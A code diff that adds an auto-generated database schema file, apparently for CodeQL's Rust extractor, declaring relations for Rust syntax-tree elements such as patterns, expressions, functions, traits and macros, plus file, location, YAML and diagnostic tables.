+ unique int id: @ref_pat +); + +#keyset[id] +ref_pat_is_mut( + int id: @ref_pat ref +); + +#keyset[id] +ref_pat_pats( + int id: @ref_pat ref, + int pat: @pat ref +); + +ref_type_reprs( + unique int id: @ref_type_repr +); + +#keyset[id] +ref_type_repr_is_mut( + int id: @ref_type_repr ref +); + +#keyset[id] +ref_type_repr_lifetimes( + int id: @ref_type_repr ref, + int lifetime: @lifetime ref +); + +#keyset[id] +ref_type_repr_type_reprs( + int id: @ref_type_repr ref, + int type_repr: @type_repr ref +); + +rest_pats( + unique int id: @rest_pat +); + +#keyset[id, index] +rest_pat_attrs( + int id: @rest_pat ref, + int index: int ref, + int attr: @attr ref +); + +return_exprs( + unique int id: @return_expr +); + +#keyset[id, index] +return_expr_attrs( + int id: @return_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +return_expr_exprs( + int id: @return_expr ref, + int expr: @expr ref +); + +self_params( + unique int id: @self_param +); + +#keyset[id] +self_param_is_ref( + int id: @self_param ref +); + +#keyset[id] +self_param_is_mut( + int id: @self_param ref +); + +#keyset[id] +self_param_lifetimes( + int id: @self_param ref, + int lifetime: @lifetime ref +); + +#keyset[id] +self_param_names( + int id: @self_param ref, + int name: @name ref +); + +slice_pats( + unique int id: @slice_pat +); + +#keyset[id, index] +slice_pat_pats( + int id: @slice_pat ref, + int index: int ref, + int pat: @pat ref +); + +slice_type_reprs( + unique int id: @slice_type_repr +); + +#keyset[id] +slice_type_repr_type_reprs( + int id: @slice_type_repr ref, + int type_repr: @type_repr ref +); + +struct_field_lists( + unique int id: @struct_field_list +); + +#keyset[id, index] +struct_field_list_fields( + int id: @struct_field_list ref, + int index: int ref, + int field: @struct_field ref +); + +try_exprs( + unique int id: @try_expr +); + +#keyset[id, index] +try_expr_attrs( + int id: @try_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +try_expr_exprs( + int id: @try_expr ref, + int expr: @expr ref +); + +tuple_exprs( + unique int id: @tuple_expr +); + +#keyset[id, index] +tuple_expr_attrs( + int id: @tuple_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +tuple_expr_fields( + int id: @tuple_expr ref, + int index: int ref, + int field: @expr ref +); + +tuple_field_lists( + unique int id: @tuple_field_list +); + +#keyset[id, index] +tuple_field_list_fields( + int id: @tuple_field_list ref, + int index: int ref, + int field: @tuple_field ref +); + +tuple_pats( + unique int id: @tuple_pat +); + +#keyset[id, index] +tuple_pat_fields( + int id: @tuple_pat ref, + int index: int ref, + int field: @pat ref +); + +tuple_type_reprs( + unique int id: @tuple_type_repr +); + +#keyset[id, index] +tuple_type_repr_fields( + int id: @tuple_type_repr ref, + int index: int ref, + int field: @type_repr ref +); + +type_args( + unique int id: @type_arg +); + +#keyset[id] +type_arg_type_reprs( + int id: @type_arg ref, + int type_repr: @type_repr ref +); + +type_params( + unique int id: @type_param +); + +#keyset[id, index] +type_param_attrs( + int id: @type_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +type_param_default_types( + int id: @type_param ref, + int default_type: @type_repr ref +); + +#keyset[id] +type_param_names( + int id: @type_param ref, + int name: @name ref +); + +#keyset[id] +type_param_type_bound_lists( + int id: @type_param ref, + int type_bound_list: @type_bound_list ref +); + +underscore_exprs( + unique int id: @underscore_expr +); + +#keyset[id, index] +underscore_expr_attrs( + int id: @underscore_expr ref, + int index: int ref, + int attr: @attr ref +); + +variants( + unique int id: @variant +); + +#keyset[id, index] +variant_attrs( + int id: @variant ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +variant_discriminants( + int id: @variant ref, + int discriminant: @expr ref +); + +#keyset[id] +variant_field_lists( + int id: @variant ref, + int field_list: @field_list ref +); + +#keyset[id] +variant_names( + int id: @variant ref, + int name: @name ref +); + +#keyset[id] +variant_visibilities( + int id: @variant ref, + int visibility: @visibility ref +); + +wildcard_pats( + unique int id: @wildcard_pat +); + +yeet_exprs( + unique int id: @yeet_expr +); + +#keyset[id, index] +yeet_expr_attrs( + int id: @yeet_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +yeet_expr_exprs( + int id: @yeet_expr ref, + int expr: @expr ref +); + +yield_exprs( + unique int id: @yield_expr +); + +#keyset[id, index] +yield_expr_attrs( + int id: @yield_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +yield_expr_exprs( + int id: @yield_expr ref, + int expr: @expr ref +); + +block_exprs( + unique int id: @block_expr +); + +#keyset[id, index] +block_expr_attrs( + int id: @block_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +block_expr_is_async( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_const( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_gen( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_move( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_try( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_unsafe( + int id: @block_expr ref +); + +#keyset[id] +block_expr_stmt_lists( + int id: @block_expr ref, + int stmt_list: @stmt_list ref +); + +call_exprs( + unique int id: @call_expr +); + +#keyset[id] +call_expr_functions( + int id: @call_expr ref, + int function: @expr ref +); + +consts( + unique int id: @const +); + +#keyset[id, index] +const_attrs( + int id: @const ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +const_bodies( + int id: @const ref, + int body: @expr ref +); + +#keyset[id] +const_is_const( + int id: @const ref +); + +#keyset[id] +const_is_default( + int id: @const ref +); + +#keyset[id] +const_names( + int id: @const ref, + int name: @name ref +); + +#keyset[id] +const_type_reprs( + int id: @const ref, + int type_repr: @type_repr ref +); + +#keyset[id] +const_visibilities( + int id: @const ref, + int visibility: @visibility ref +); + +enums( + unique int id: @enum +); + +#keyset[id, index] +enum_attrs( + int id: @enum ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +enum_generic_param_lists( + int id: @enum ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +enum_names( + int id: @enum ref, + int name: @name ref +); + +#keyset[id] +enum_variant_lists( + int id: @enum ref, + int variant_list: @variant_list ref +); + +#keyset[id] +enum_visibilities( + int id: @enum ref, + int visibility: @visibility ref +); + +#keyset[id] +enum_where_clauses( + int id: @enum ref, + int where_clause: @where_clause ref +); + +extern_blocks( + unique int id: @extern_block +); + +#keyset[id] +extern_block_abis( + int id: @extern_block ref, + int abi: @abi ref +); + +#keyset[id, index] +extern_block_attrs( + int id: @extern_block ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +extern_block_extern_item_lists( + int id: @extern_block ref, + int extern_item_list: @extern_item_list ref +); + +#keyset[id] +extern_block_is_unsafe( + int id: @extern_block ref +); + +extern_crates( + unique int id: @extern_crate +); + +#keyset[id, index] +extern_crate_attrs( + int id: @extern_crate ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +extern_crate_identifiers( + int id: @extern_crate ref, + int identifier: @name_ref ref +); + +#keyset[id] +extern_crate_renames( + int id: @extern_crate ref, + int rename: @rename ref +); + +#keyset[id] +extern_crate_visibilities( + int id: @extern_crate ref, + int visibility: @visibility ref +); + +functions( + unique int id: @function +); + +#keyset[id] +function_abis( + int id: @function ref, + int abi: @abi ref +); + +#keyset[id] +function_bodies( + int id: @function ref, + int body: @block_expr ref +); + +#keyset[id] +function_generic_param_lists( + int id: @function ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +function_is_async( + int id: @function ref +); + +#keyset[id] +function_is_const( + int id: @function ref +); + +#keyset[id] +function_is_default( + int id: @function ref +); + +#keyset[id] +function_is_gen( + int id: @function ref +); + +#keyset[id] +function_is_unsafe( + int id: @function ref +); + +#keyset[id] +function_names( + int id: @function ref, + int name: @name ref +); + +#keyset[id] +function_ret_types( + int id: @function ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +function_visibilities( + int id: @function ref, + int visibility: @visibility ref +); + +#keyset[id] +function_where_clauses( + int id: @function ref, + int where_clause: @where_clause ref +); + +impls( + unique int id: @impl +); + +#keyset[id] +impl_assoc_item_lists( + int id: @impl ref, + int assoc_item_list: @assoc_item_list ref +); + +#keyset[id, index] +impl_attrs( + int id: @impl ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +impl_generic_param_lists( + int id: @impl ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +impl_is_const( + int id: @impl ref +); + +#keyset[id] +impl_is_default( + int id: @impl ref +); + +#keyset[id] +impl_is_unsafe( + int id: @impl ref +); + +#keyset[id] +impl_self_ties( + int id: @impl ref, + int self_ty: @type_repr ref +); + +#keyset[id] +impl_traits( + int id: @impl ref, + int trait: @type_repr ref +); + +#keyset[id] +impl_visibilities( + int id: @impl ref, + int visibility: @visibility ref +); + +#keyset[id] +impl_where_clauses( + int id: @impl ref, + int where_clause: @where_clause ref +); + +@looping_expr = + @for_expr +| @loop_expr +| @while_expr +; + +#keyset[id] +looping_expr_loop_bodies( + int id: @looping_expr ref, + int loop_body: @block_expr ref +); + +macro_calls( + unique int id: @macro_call +); + +#keyset[id, index] +macro_call_attrs( + int id: @macro_call ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_call_paths( + int id: @macro_call ref, + int path: @path ref +); + +#keyset[id] +macro_call_token_trees( + int id: @macro_call ref, + int token_tree: @token_tree ref +); + +#keyset[id] +macro_call_macro_call_expansions( + int id: @macro_call ref, + int macro_call_expansion: @ast_node ref +); + +macro_defs( + unique int id: @macro_def +); + +#keyset[id] +macro_def_args( + int id: @macro_def ref, + int args: @token_tree ref +); + +#keyset[id, index] +macro_def_attrs( + int id: @macro_def ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_def_bodies( + int id: @macro_def ref, + int body: @token_tree ref +); + +#keyset[id] +macro_def_names( + int id: @macro_def ref, + int name: @name ref +); + +#keyset[id] +macro_def_visibilities( + int id: @macro_def ref, + int visibility: @visibility ref +); + +macro_rules( + unique int id: @macro_rules +); + +#keyset[id, index] +macro_rules_attrs( + int id: @macro_rules ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_rules_names( + int id: @macro_rules ref, + int name: @name ref +); + +#keyset[id] +macro_rules_token_trees( + int id: @macro_rules ref, + int token_tree: @token_tree ref +); + +#keyset[id] +macro_rules_visibilities( + int id: @macro_rules ref, + int visibility: @visibility ref +); + +method_call_exprs( + unique int id: @method_call_expr +); + +#keyset[id] +method_call_expr_generic_arg_lists( + int id: @method_call_expr ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +method_call_expr_identifiers( + int id: @method_call_expr ref, + int identifier: @name_ref ref +); + +#keyset[id] +method_call_expr_receivers( + int id: @method_call_expr ref, + int receiver: @expr ref +); + +modules( + unique int id: @module +); + +#keyset[id, index] +module_attrs( + int id: @module ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +module_item_lists( + int id: @module ref, + int item_list: @item_list ref +); + +#keyset[id] +module_names( + int id: @module ref, + int name: @name ref +); + +#keyset[id] +module_visibilities( + int id: @module ref, + int visibility: @visibility ref +); + +path_exprs( + unique int id: @path_expr +); + +#keyset[id, index] +path_expr_attrs( + int id: @path_expr ref, + int index: int ref, + int attr: @attr ref +); + +path_pats( + unique int id: @path_pat +); + +statics( + unique int id: @static +); + +#keyset[id, index] +static_attrs( + int id: @static ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +static_bodies( + int id: @static ref, + int body: @expr ref +); + +#keyset[id] +static_is_mut( + int id: @static ref +); + +#keyset[id] +static_is_static( + int id: @static ref +); + +#keyset[id] +static_is_unsafe( + int id: @static ref +); + +#keyset[id] +static_names( + int id: @static ref, + int name: @name ref +); + +#keyset[id] +static_type_reprs( + int id: @static ref, + int type_repr: @type_repr ref +); + +#keyset[id] +static_visibilities( + int id: @static ref, + int visibility: @visibility ref +); + +structs( + unique int id: @struct +); + +#keyset[id, index] +struct_attrs( + int id: @struct ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_field_lists_( + int id: @struct ref, + int field_list: @field_list ref +); + +#keyset[id] +struct_generic_param_lists( + int id: @struct ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +struct_names( + int id: @struct ref, + int name: @name ref +); + +#keyset[id] +struct_visibilities( + int id: @struct ref, + int visibility: @visibility ref +); + +#keyset[id] +struct_where_clauses( + int id: @struct ref, + int where_clause: @where_clause ref +); + +struct_exprs( + unique int id: @struct_expr +); + +#keyset[id] +struct_expr_struct_expr_field_lists( + int id: @struct_expr ref, + int struct_expr_field_list: @struct_expr_field_list ref +); + +struct_pats( + unique int id: @struct_pat +); + +#keyset[id] +struct_pat_struct_pat_field_lists( + int id: @struct_pat ref, + int struct_pat_field_list: @struct_pat_field_list ref +); + +traits( + unique int id: @trait +); + +#keyset[id] +trait_assoc_item_lists( + int id: @trait ref, + int assoc_item_list: @assoc_item_list ref +); + +#keyset[id, index] +trait_attrs( + int id: @trait ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +trait_generic_param_lists( + int id: @trait ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +trait_is_auto( + int id: @trait ref +); + +#keyset[id] +trait_is_unsafe( + int id: @trait ref +); + +#keyset[id] +trait_names( + int id: @trait ref, + int name: @name ref +); + +#keyset[id] +trait_type_bound_lists( + int id: @trait ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +trait_visibilities( + int id: @trait ref, + int visibility: @visibility ref +); + +#keyset[id] +trait_where_clauses( + int id: @trait ref, + int where_clause: @where_clause ref +); + +trait_aliases( + unique int id: @trait_alias +); + +#keyset[id, index] +trait_alias_attrs( + int id: @trait_alias ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +trait_alias_generic_param_lists( + int id: @trait_alias ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +trait_alias_names( + int id: @trait_alias ref, + int name: @name ref +); + +#keyset[id] +trait_alias_type_bound_lists( + int id: @trait_alias ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +trait_alias_visibilities( + int id: @trait_alias ref, + int visibility: @visibility ref +); + +#keyset[id] +trait_alias_where_clauses( + int id: @trait_alias ref, + int where_clause: @where_clause ref +); + +tuple_struct_pats( + unique int id: @tuple_struct_pat +); + +#keyset[id, index] +tuple_struct_pat_fields( + int id: @tuple_struct_pat ref, + int index: int ref, + int field: @pat ref +); + +type_aliases( + unique int id: @type_alias +); + +#keyset[id, index] +type_alias_attrs( + int id: @type_alias ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +type_alias_generic_param_lists( + int id: @type_alias ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +type_alias_is_default( + int id: @type_alias ref +); + +#keyset[id] +type_alias_names( + int id: @type_alias ref, + int name: @name ref +); + +#keyset[id] +type_alias_type_reprs( + int id: @type_alias ref, + int type_repr: @type_repr ref +); + +#keyset[id] +type_alias_type_bound_lists( + int id: @type_alias ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +type_alias_visibilities( + int id: @type_alias ref, + int visibility: @visibility ref +); + +#keyset[id] +type_alias_where_clauses( + int id: @type_alias ref, + int where_clause: @where_clause ref +); + +unions( + unique int id: @union +); + +#keyset[id, index] +union_attrs( + int id: @union ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +union_generic_param_lists( + int id: @union ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +union_names( + int id: @union ref, + int name: @name ref +); + +#keyset[id] +union_struct_field_lists( + int id: @union ref, + int struct_field_list: @struct_field_list ref +); + +#keyset[id] +union_visibilities( + int id: @union ref, + int visibility: @visibility ref +); + +#keyset[id] +union_where_clauses( + int id: @union ref, + int where_clause: @where_clause ref +); + +uses( + unique int id: @use +); + +#keyset[id, index] +use_attrs( + int id: @use ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +use_use_trees( + int id: @use ref, + int use_tree: @use_tree ref +); + +#keyset[id] +use_visibilities( + int id: @use ref, + int visibility: @visibility ref +); + +for_exprs( + unique int id: @for_expr +); + +#keyset[id, index] +for_expr_attrs( + int id: @for_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +for_expr_iterables( + int id: @for_expr ref, + int iterable: @expr ref +); + +#keyset[id] +for_expr_pats( + int id: @for_expr ref, + int pat: @pat ref +); + +loop_exprs( + unique int id: @loop_expr +); + +#keyset[id, index] +loop_expr_attrs( + int id: @loop_expr ref, + int index: int ref, + int attr: @attr ref +); + +while_exprs( + unique int id: @while_expr +); + +#keyset[id, index] +while_expr_attrs( + int id: @while_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +while_expr_conditions( + int id: @while_expr ref, + int condition: @expr ref +); diff --git a/rust/downgrades/2df29df1bf8f8ba77919fd0873007e8322654f67/rust.dbscheme b/rust/downgrades/2df29df1bf8f8ba77919fd0873007e8322654f67/rust.dbscheme new file mode 100644 index 000000000000..58bc96172f5a --- /dev/null +++ b/rust/downgrades/2df29df1bf8f8ba77919fd0873007e8322654f67/rust.dbscheme @@ -0,0 +1,3606 @@ +// generated by codegen, do not edit + +// from ../shared/tree-sitter-extractor/src/generator/prefix.dbscheme +/*- Files and folders -*/ + +/** + * The location of an element. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +files( + unique int id: @file, + string name: string ref +); + +folders( + unique int id: @folder, + string name: string ref +); + +@container = @file | @folder + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +/*- Empty location -*/ + +empty_location( + int location: @location_default ref +); + +/*- Source location prefix -*/ + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/*- Diagnostic messages -*/ + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +/*- Diagnostic messages: severity -*/ + +case @diagnostic.severity of + 10 = @diagnostic_debug +| 20 = @diagnostic_info +| 30 = @diagnostic_warning +| 40 = @diagnostic_error +; + +/*- YAML -*/ + +#keyset[parent, idx] +yaml (unique int id: @yaml_node, + int kind: int ref, + int parent: @yaml_node_parent ref, + int idx: int ref, + string tag: string ref, + string tostring: string ref); + +case @yaml_node.kind of + 0 = @yaml_scalar_node +| 1 = @yaml_mapping_node +| 2 = @yaml_sequence_node +| 3 = @yaml_alias_node +; + +@yaml_collection_node = @yaml_mapping_node | @yaml_sequence_node; + +@yaml_node_parent = @yaml_collection_node | @file; + +yaml_anchors (unique int node: @yaml_node ref, + string anchor: string ref); + +yaml_aliases (unique int alias: @yaml_alias_node ref, + string target: string ref); + +yaml_scalars (unique int scalar: @yaml_scalar_node ref, + int style: int ref, + string value: string ref); + +yaml_errors (unique int id: @yaml_error, + string message: string ref); + +yaml_locations(unique int locatable: @yaml_locatable ref, + int location: @location_default ref); + +@yaml_locatable = @yaml_node | @yaml_error; + + +// from prefix.dbscheme +#keyset[id] +locatable_locations( + int id: @locatable ref, + int location: @location_default ref +); + + +// from schema + +@element = + @extractor_step +| @locatable +| @named_crate +| @unextracted +; + +extractor_steps( + unique int id: @extractor_step, + string action: string ref, + int duration_ms: int ref +); + +#keyset[id] +extractor_step_files( + int id: @extractor_step ref, + int file: @file ref +); + +@locatable = + @ast_node +| @crate +; + +named_crates( + unique int id: @named_crate, + string name: string ref, + int crate: @crate ref +); + +@unextracted = + @missing +| @unimplemented +; + +@ast_node = + @abi +| @addressable +| @arg_list +| @asm_dir_spec +| @asm_operand +| @asm_operand_expr +| @asm_option +| @asm_piece +| @asm_reg_spec +| @assoc_item +| @assoc_item_list +| @attr +| @callable +| @closure_binder +| @expr +| @extern_item +| @extern_item_list +| @field_list +| @format_args_arg +| @generic_arg +| @generic_arg_list +| @generic_param +| @generic_param_list +| @item_list +| @label +| @let_else +| @macro_items +| @match_arm +| @match_arm_list +| @match_guard +| @meta +| @name +| @param_base +| @param_list +| @parenthesized_arg_list +| @pat +| @path +| @path_segment +| @rename +| @resolvable +| @ret_type_repr +| @return_type_syntax +| @source_file +| @stmt +| @stmt_list +| @struct_expr_field +| @struct_expr_field_list +| @struct_field +| @struct_pat_field +| @struct_pat_field_list +| @token +| @token_tree +| @tuple_field +| @type_bound +| @type_bound_list +| @type_repr +| @use_bound_generic_arg +| @use_bound_generic_args +| @use_tree +| @use_tree_list +| @variant_def +| @variant_list +| @visibility +| @where_clause +| @where_pred +; + +crates( + unique int id: @crate +); + +#keyset[id] +crate_names( + int id: @crate ref, + string name: string ref +); + +#keyset[id] +crate_versions( + int id: @crate ref, + string version: string ref +); + +#keyset[id] +crate_modules( + int id: @crate ref, + int module: @module ref +); + +#keyset[id, index] +crate_cfg_options( + int id: @crate ref, + int index: int ref, + string cfg_option: string ref +); + +#keyset[id, index] +crate_named_dependencies( + int id: @crate ref, + int index: int ref, + int named_dependency: @named_crate ref +); + +missings( + unique int id: @missing +); + +unimplementeds( + unique int id: @unimplemented +); + +abis( + unique int id: @abi +); + +#keyset[id] +abi_abi_strings( + int id: @abi ref, + string abi_string: string ref +); + +@addressable = + @item +| @variant +; + +#keyset[id] +addressable_extended_canonical_paths( + int id: @addressable ref, + string extended_canonical_path: string ref +); + +#keyset[id] +addressable_crate_origins( + int id: @addressable ref, + string crate_origin: string ref +); + +arg_lists( + unique int id: @arg_list +); + +#keyset[id, index] +arg_list_args( + int id: @arg_list ref, + int index: int ref, + int arg: @expr ref +); + +asm_dir_specs( + unique int id: @asm_dir_spec +); + +@asm_operand = + @asm_const +| @asm_label +| @asm_reg_operand +| @asm_sym +; + +asm_operand_exprs( + unique int id: @asm_operand_expr +); + +#keyset[id] +asm_operand_expr_in_exprs( + int id: @asm_operand_expr ref, + int in_expr: @expr ref +); + +#keyset[id] +asm_operand_expr_out_exprs( + int id: @asm_operand_expr ref, + int out_expr: @expr ref +); + +asm_options( + unique int id: @asm_option +); + +#keyset[id] +asm_option_is_raw( + int id: @asm_option ref +); + +@asm_piece = + @asm_clobber_abi +| @asm_operand_named +| @asm_options_list +; + +asm_reg_specs( + unique int id: @asm_reg_spec +); + +#keyset[id] +asm_reg_spec_identifiers( + int id: @asm_reg_spec ref, + int identifier: @name_ref ref +); + +@assoc_item = + @const +| @function +| @macro_call +| @type_alias +; + +assoc_item_lists( + unique int id: @assoc_item_list +); + +#keyset[id, index] +assoc_item_list_assoc_items( + int id: @assoc_item_list ref, + int index: int ref, + int assoc_item: @assoc_item ref +); + +#keyset[id, index] +assoc_item_list_attrs( + int id: @assoc_item_list ref, + int index: int ref, + int attr: @attr ref +); + +attrs( + unique int id: @attr +); + +#keyset[id] +attr_meta( + int id: @attr ref, + int meta: @meta ref +); + +@callable = + @closure_expr +| @function +; + +#keyset[id] +callable_param_lists( + int id: @callable ref, + int param_list: @param_list ref +); + +#keyset[id, index] +callable_attrs( + int id: @callable ref, + int index: int ref, + int attr: @attr ref +); + +closure_binders( + unique int id: @closure_binder +); + +#keyset[id] +closure_binder_generic_param_lists( + int id: @closure_binder ref, + int generic_param_list: @generic_param_list ref +); + +@expr = + @array_expr_internal +| @asm_expr +| @await_expr +| @become_expr +| @binary_expr +| @break_expr +| @call_expr_base +| @cast_expr +| @closure_expr +| @continue_expr +| @field_expr +| @format_args_expr +| @if_expr +| @index_expr +| @labelable_expr +| @let_expr +| @literal_expr +| @macro_block_expr +| @macro_expr +| @match_expr +| @offset_of_expr +| @paren_expr +| @path_expr_base +| @prefix_expr +| @range_expr +| @ref_expr +| @return_expr +| @struct_expr +| @try_expr +| @tuple_expr +| @underscore_expr +| @yeet_expr +| @yield_expr +; + +@extern_item = + @function +| @macro_call +| @static +| @type_alias +; + +extern_item_lists( + unique int id: @extern_item_list +); + +#keyset[id, index] +extern_item_list_attrs( + int id: @extern_item_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +extern_item_list_extern_items( + int id: @extern_item_list ref, + int index: int ref, + int extern_item: @extern_item ref +); + +@field_list = + @struct_field_list +| @tuple_field_list +; + +format_args_args( + unique int id: @format_args_arg +); + +#keyset[id] +format_args_arg_exprs( + int id: @format_args_arg ref, + int expr: @expr ref +); + +#keyset[id] +format_args_arg_names( + int id: @format_args_arg ref, + int name: @name ref +); + +@generic_arg = + @assoc_type_arg +| @const_arg +| @lifetime_arg +| @type_arg +; + +generic_arg_lists( + unique int id: @generic_arg_list +); + +#keyset[id, index] +generic_arg_list_generic_args( + int id: @generic_arg_list ref, + int index: int ref, + int generic_arg: @generic_arg ref +); + +@generic_param = + @const_param +| @lifetime_param +| @type_param +; + +generic_param_lists( + unique int id: @generic_param_list +); + +#keyset[id, index] +generic_param_list_generic_params( + int id: @generic_param_list ref, + int index: int ref, + int generic_param: @generic_param ref +); + +item_lists( + unique int id: @item_list +); + +#keyset[id, index] +item_list_attrs( + int id: @item_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +item_list_items( + int id: @item_list ref, + int index: int ref, + int item: @item ref +); + +labels( + unique int id: @label +); + +#keyset[id] +label_lifetimes( + int id: @label ref, + int lifetime: @lifetime ref +); + +let_elses( + unique int id: @let_else +); + +#keyset[id] +let_else_block_exprs( + int id: @let_else ref, + int block_expr: @block_expr ref +); + +macro_items( + unique int id: @macro_items +); + +#keyset[id, index] +macro_items_items( + int id: @macro_items ref, + int index: int ref, + int item: @item ref +); + +match_arms( + unique int id: @match_arm +); + +#keyset[id, index] +match_arm_attrs( + int id: @match_arm ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +match_arm_exprs( + int id: @match_arm ref, + int expr: @expr ref +); + +#keyset[id] +match_arm_guards( + int id: @match_arm ref, + int guard: @match_guard ref +); + +#keyset[id] +match_arm_pats( + int id: @match_arm ref, + int pat: @pat ref +); + +match_arm_lists( + unique int id: @match_arm_list +); + +#keyset[id, index] +match_arm_list_arms( + int id: @match_arm_list ref, + int index: int ref, + int arm: @match_arm ref +); + +#keyset[id, index] +match_arm_list_attrs( + int id: @match_arm_list ref, + int index: int ref, + int attr: @attr ref +); + +match_guards( + unique int id: @match_guard +); + +#keyset[id] +match_guard_conditions( + int id: @match_guard ref, + int condition: @expr ref +); + +meta( + unique int id: @meta +); + +#keyset[id] +meta_exprs( + int id: @meta ref, + int expr: @expr ref +); + +#keyset[id] +meta_is_unsafe( + int id: @meta ref +); + +#keyset[id] +meta_paths( + int id: @meta ref, + int path: @path ref +); + +#keyset[id] +meta_token_trees( + int id: @meta ref, + int token_tree: @token_tree ref +); + +names( + unique int id: @name +); + +#keyset[id] +name_texts( + int id: @name ref, + string text: string ref +); + +@param_base = + @param +| @self_param +; + +#keyset[id, index] +param_base_attrs( + int id: @param_base ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +param_base_type_reprs( + int id: @param_base ref, + int type_repr: @type_repr ref +); + +param_lists( + unique int id: @param_list +); + +#keyset[id, index] +param_list_params( + int id: @param_list ref, + int index: int ref, + int param: @param ref +); + +#keyset[id] +param_list_self_params( + int id: @param_list ref, + int self_param: @self_param ref +); + +parenthesized_arg_lists( + unique int id: @parenthesized_arg_list +); + +#keyset[id, index] +parenthesized_arg_list_type_args( + int id: @parenthesized_arg_list ref, + int index: int ref, + int type_arg: @type_arg ref +); + +@pat = + @box_pat +| @const_block_pat +| @ident_pat +| @literal_pat +| @macro_pat +| @or_pat +| @paren_pat +| @path_pat +| @range_pat +| @ref_pat +| @rest_pat +| @slice_pat +| @struct_pat +| @tuple_pat +| @tuple_struct_pat +| @wildcard_pat +; + +paths( + unique int id: @path +); + +#keyset[id] +path_qualifiers( + int id: @path ref, + int qualifier: @path ref +); + +#keyset[id] +path_segments_( + int id: @path ref, + int segment: @path_segment ref +); + +path_segments( + unique int id: @path_segment +); + +#keyset[id] +path_segment_generic_arg_lists( + int id: @path_segment ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +path_segment_identifiers( + int id: @path_segment ref, + int identifier: @name_ref ref +); + +#keyset[id] +path_segment_parenthesized_arg_lists( + int id: @path_segment ref, + int parenthesized_arg_list: @parenthesized_arg_list ref +); + +#keyset[id] +path_segment_ret_types( + int id: @path_segment ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +path_segment_return_type_syntaxes( + int id: @path_segment ref, + int return_type_syntax: @return_type_syntax ref +); + +#keyset[id] +path_segment_type_reprs( + int id: @path_segment ref, + int type_repr: @type_repr ref +); + +#keyset[id] +path_segment_trait_type_reprs( + int id: @path_segment ref, + int trait_type_repr: @path_type_repr ref +); + +renames( + unique int id: @rename +); + +#keyset[id] +rename_names( + int id: @rename ref, + int name: @name ref +); + +@resolvable = + @method_call_expr +| @path_ast_node +; + +#keyset[id] +resolvable_resolved_paths( + int id: @resolvable ref, + string resolved_path: string ref +); + +#keyset[id] +resolvable_resolved_crate_origins( + int id: @resolvable ref, + string resolved_crate_origin: string ref +); + +ret_type_reprs( + unique int id: @ret_type_repr +); + +#keyset[id] +ret_type_repr_type_reprs( + int id: @ret_type_repr ref, + int type_repr: @type_repr ref +); + +return_type_syntaxes( + unique int id: @return_type_syntax +); + +source_files( + unique int id: @source_file +); + +#keyset[id, index] +source_file_attrs( + int id: @source_file ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +source_file_items( + int id: @source_file ref, + int index: int ref, + int item: @item ref +); + +@stmt = + @expr_stmt +| @item +| @let_stmt +; + +stmt_lists( + unique int id: @stmt_list +); + +#keyset[id, index] +stmt_list_attrs( + int id: @stmt_list ref, + int index: int ref, + int attr: @attr ref +); + 